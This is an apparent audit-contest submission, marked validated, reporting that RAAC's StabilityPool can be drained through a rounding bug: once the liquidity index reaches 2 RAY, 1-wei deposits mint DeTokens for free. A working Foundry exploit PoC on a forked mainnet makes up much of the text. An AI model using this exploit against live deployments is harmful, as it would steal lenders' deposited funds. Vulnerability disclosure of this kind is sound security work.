Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

StabilityVault can be drained of RTokens when LendingPool reserve.liquidityIndex >= 2 RAY

Summary

When LendingPool's liquidityIndex is greater or equal than 2 RAY (2e27), an attacker can continuously mint 1 wei of DeTokens for no cost due to rounding in Solidity's division. Then the user can withdraw() to burn DeTokens to receive RTokens.

Vulnerability Details

  1. As time passes, interest for suppliers of the LendingPool is accrued in reserve.liquidityIndex.This is a value that can only increase.

  2. In the deposit()function in StabilityPool, the transferFrom function is used `rToken.safeTransferFrom(msg.sender, address(this), amount);

  3. In the RToken contract, the ERC20 _update() function is overwritten as follows:

function _update(address from, address to, uint256 amount) internal override {
// Scale amount by normalized income for all operations (mint, burn, transfer)
uint256 scaledAmount = amount.rayDiv(ILendingPool(_reservePool).getNormalizedIncome());
super._update(from, to, scaledAmount);
}
  1. This means that if ILendingPool(_reservePool).getNormalizedIncome() >= 2RAY, and when amount is 1 wei, scaledAmount would be 0. This effectively allows the attacker to deposit 0 RToken in exchange for 1 DeToken.

  2. Attacker can then call withdraw() on StabilityPool to receive RTokens.

  3. This attack can even more cost effective on an L2, which in scope as the protocol is designed to be All EVM Compatible.

Impact

StabilityPool can be drained of RTokens.

Lenders of the Stability Pool will lose deposited funds.

Tools Used

Manual Review

PoC

Below is the two Test Solidity Files done using Foundry

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import {IERC20, ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
import "../../contracts/libraries/math/PercentageMath.sol";
import "../../contracts/libraries/math/WadRayMath.sol";
import {BaseSetup} from "./BaseSetup.t.sol";
contract UnlimitedDeTokens is BaseSetup{
using WadRayMath for uint256;
using PercentageMath for uint256;
using SafeCast for uint256;
using SafeERC20 for IERC20;
IERC20 mainnetUSDC = IERC20(address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48));
address mainnetUsdcCurveUSDVault = address(0x7cA00559B978CFde81297849be6151d3ccB408A9);
address curveUSDWhale = address(0x4e59541306910aD6dC1daC0AC9dFB29bD9F15c67);
address newUser = makeAddr("new user");
address newUser2 = makeAddr("new user2");
address newUser3 = makeAddr("new user3");
address newUser4 = makeAddr("new user4");
function setUp() public override {
string memory MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL");
uint256 mainnetFork = vm.createFork(MAINNET_RPC_URL,19614507);
vm.selectFork(mainnetFork);
super.setUp();
vm.startPrank(owner);
// house is 1000 with 18 decimals, same as crvUSD
uint256 housePrice = 1_000_000e18;
housePrices.setHousePrice(1,housePrice);
housePrices.setHousePrice(2,housePrice);
housePrices.setHousePrice(3,housePrice);
housePrices.setHousePrice(4,housePrice);
housePrices.setHousePrice(5,housePrice);
housePrices.setHousePrice(6,housePrice);
housePrices.setHousePrice(7,housePrice);
housePrices.setHousePrice(8,housePrice);
vm.stopPrank();
vm.startPrank(curveUSDWhale);
crvUSD.transfer(newUser, 5_000_000e18);
crvUSD.transfer(newUser2, 5_000_000e18);
crvUSD.transfer(newUser3, 10_000e18);
crvUSD.transfer(newUser4,10_000e18);
vm.stopPrank();
}
function makeLiquidityIndexNotRay() public {
vm.startPrank(newUser);
//deposit some crvTokens as well
crvUSD.approve(address(lendingPool),type(uint256).max);
lendingPool.deposit(5_000_000e18);
vm.stopPrank();
vm.startPrank(newUser2);
crvUSD.approve(address(raacNFT),type(uint256).max);
raacNFT.mint(1, 1_000_000e18);
raacNFT.mint(2, 1_000_000e18);
raacNFT.mint(3, 1_000_000e18);
raacNFT.mint(4, 1_000_000e18);
raacNFT.mint(5, 1_000_000e18);
raacNFT.approve(address(lendingPool), 1);
raacNFT.approve(address(lendingPool), 2);
raacNFT.approve(address(lendingPool), 3);
raacNFT.approve(address(lendingPool), 4);
raacNFT.approve(address(lendingPool), 5);
lendingPool.depositNFT(1);
lendingPool.depositNFT(2);
lendingPool.depositNFT(3);
lendingPool.depositNFT(4);
lendingPool.depositNFT(5);
lendingPool.borrow(5_000_000e18);
assertEq(lendingPool.getNormalizedIncome(),1e27);
vm.stopPrank();
vm.startPrank(newUser3);
crvUSD.approve(address(lendingPool),10_000e18);
lendingPool.deposit(10_000e18);
vm.stopPrank();
skip(365 days * 3);
lendingPool.updateState();
}
function test_mintUnlimitedDeTokens() public {
makeLiquidityIndexNotRay();
vm.startPrank(newUser4);
crvUSD.approve(address(lendingPool),10_000e18);
lendingPool.deposit(10_000e18);
rToken.approve(address(stabilityPool),10_000e18);
stabilityPool.deposit(10_000e18);
vm.stopPrank();
vm.startPrank(newUser3);
uint256 originalRTokenBal = rToken.balanceOf(newUser3);
assertEq(deToken.balanceOf(newUser3),0);
rToken.approve(address(stabilityPool),type(uint256).max);
for(uint256 i; i<1000;i++){
// deposit 1 wei which rounds to zero
stabilityPool.deposit(1);
}
uint256 afterDepositRTokenBal = rToken.balanceOf(newUser3); // This shows after deposit, Attacker's RTokens bal is the same
assertEq(originalRTokenBal,afterDepositRTokenBal);
uint256 deTokenBal = deToken.balanceOf(newUser3);
assertEq(deTokenBal, 1000); // this shows 1000 wei of free DeTokens attacker has minted
stabilityPool.withdraw(1000);
uint256 afterWithdrawRTokenBal = rToken.balanceOf(newUser3);
assertTrue(afterWithdrawRTokenBal>afterDepositRTokenBal); // This shows that the Attacker has more RTokens than before without any time passed
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
// OpenZeppelin Imports
// import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
// Primitives Import
import { RAACHousePrices } from "../../contracts/core/primitives/RAACHousePrices.sol";
// Token Imports
import { DebtToken } from "../../contracts/core/tokens/DebtToken.sol";
import { DEToken } from "../../contracts/core/tokens/DEToken.sol";
import { IndexToken } from "../../contracts/core/tokens/IndexToken.sol";
import { LPToken } from "../../contracts/core/tokens/LPToken.sol";
import { RAACNFT } from "../../contracts/core/tokens/RAACNFT.sol";
import { RAACToken } from "../../contracts/core/tokens/RAACToken.sol";
import { RToken } from "../../contracts/core/tokens/RToken.sol";
import { veRAACToken } from "../../contracts/core/tokens/veRAACToken.sol";
// Collector Imports
import { Treasury } from "../../contracts/core/collectors/Treasury.sol";
import { FeeCollector } from "../../contracts/core/collectors/FeeCollector.sol";
// Governance Imports
import { Governance } from "../../contracts/core/governance/proposals/Governance.sol";
import { TimelockController } from "../../contracts/core/governance/proposals/TimelockController.sol";
// Gauge Imports
import { BaseGauge } from "../../contracts/core/governance/gauges/BaseGauge.sol";
import { GaugeController } from "../../contracts/core/governance/gauges/GaugeController.sol";
import { RAACGauge } from "../../contracts/core/governance/gauges/RAACGauge.sol";
import { RWAGauge } from "../../contracts/core/governance/gauges/RWAGauge.sol";
// Boost Import
import { BoostController } from "../../contracts/core/governance/boost/BoostController.sol";
// Minter Imports
import { RAACMinter } from "../../contracts/core/minters/RAACMinter/RAACMinter.sol";
import { RAACReleaseOrchestrator } from "../../contracts/core/minters/RAACReleaseOrchestrator/RAACReleaseOrchestrator.sol";
// Oracle Imports
import { BaseChainlinkFunctionsOracle } from "../../contracts/core/oracles/BaseChainlinkFunctionsOracle.sol";
import { RAACHousePriceOracle } from "../../contracts/core/oracles/RAACHousePriceOracle.sol";
import { RAACPrimeRateOracle } from "../../contracts/core/oracles/RAACPrimeRateOracle.sol";
// Pool Imports
import { LendingPool } from "../../contracts/core/pools/LendingPool/LendingPool.sol";
import { StabilityPool } from "../../contracts/core/pools/StabilityPool/StabilityPool.sol";
import { MarketCreator } from "../../contracts/core/pools/StabilityPool/MarketCreator.sol";
import { NFTLiquidator } from "../../contracts/core/pools/StabilityPool/NFTLiquidator.sol";
contract BaseSetup is Test {
IERC20 baseUSDC = IERC20(address(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913));
address baseUSDCWhale = address(0x20FE51A9229EEf2cF8Ad9E89d91CAb9312cF3b7A);
// Collectors
Treasury treasury;
Treasury repairFund;
FeeCollector feeCollector;
// Tokens
IERC20 crvUSD = IERC20(address(0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E));// main
IERC20 basecrvUSD = IERC20(address(0x417Ac0e078398C154EdFadD9Ef675d30Be60Af93)); // base
RAACToken raacToken;
veRAACToken veRaacToken;
RAACNFT raacNFT;
RToken rToken;
DebtToken debtToken;
DEToken deToken;
address mainnetChainlinkRouter = address(0x65Dcc24F8ff9e51F10DCc7Ed1e4e2A61e6E14bd6);
//m Orchestatro
RAACReleaseOrchestrator raacReleaseOrchestrator;
RAACHousePrices housePrices;
LendingPool lendingPool;
StabilityPool stabilityPool;
RAACMinter minter;
address owner;
address user1;
address user2;
address user3;
function setUp() public virtual {
owner = makeAddr("owner");
user1 = makeAddr("user1");
user2 = makeAddr("user2");
user3 = makeAddr("user3");
vm.startPrank(owner);
console.log("base setup");
// collectors
//
// Setup Tokens
raacToken = new RAACToken(owner, 100,50);
veRaacToken = new veRAACToken(address(raacToken));
// veRAACToken
// RAACNFT
// DeToken
console.log("raacToken:", address(raacToken));
// Setup contracts
raacReleaseOrchestrator = new RAACReleaseOrchestrator(address(raacToken));
housePrices = new RAACHousePrices(owner);
housePrices.setOracle(owner);
raacNFT = new RAACNFT(address(crvUSD),address(housePrices),owner);
rToken = new RToken("RToken", "RT", owner, address(crvUSD));
debtToken = new DebtToken("DebtToken", "DT", owner);
lendingPool = new LendingPool(address(crvUSD), address(rToken), address(debtToken), address(raacNFT), address(housePrices), 0.1e27);
console.log("lendingPool:",address(lendingPool));
treasury = new Treasury(owner);
repairFund = new Treasury(owner);
deToken = new DEToken("DEToken","DEToken",owner, address(rToken));
stabilityPool = new StabilityPool(owner);
minter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), address(treasury));
feeCollector = new FeeCollector(address(raacToken), address(veRaacToken), address(treasury), address(repairFund),owner);
raacToken.setFeeCollector(address(feeCollector));
raacToken.manageWhitelist(address(feeCollector), true);
raacToken.manageWhitelist(address(veRaacToken), true);
raacToken.manageWhitelist(owner, true);
raacToken.setMinter(owner);
raacToken.mint(user2, 1000e18);
raacToken.mint(user3, 1000e18);
feeCollector.grantRole(feeCollector.FEE_MANAGER_ROLE(), owner);
feeCollector.grantRole(feeCollector.EMERGENCY_ROLE(), owner);
feeCollector.grantRole(feeCollector.DISTRIBUTOR_ROLE(), owner);
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
raacToken.transferOwnership(address(minter));
rToken.transferOwnership(address(lendingPool));
debtToken.transferOwnership(address(lendingPool));
stabilityPool.initialize(address(rToken), address(deToken), address(raacToken), address(minter), address(crvUSD), address(lendingPool));
lendingPool.setStabilityPool(address(stabilityPool));
vm.stopPrank();
}
}

Recommendations

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool allows free DEToken minting when liquidityIndex ≥ 2e27 due to integer rounding in RToken transfers, enabling pool draining

inallhonesty Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool allows free DEToken minting when liquidityIndex ≥ 2e27 due to integer rounding in RToken transfers, enabling pool draining

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.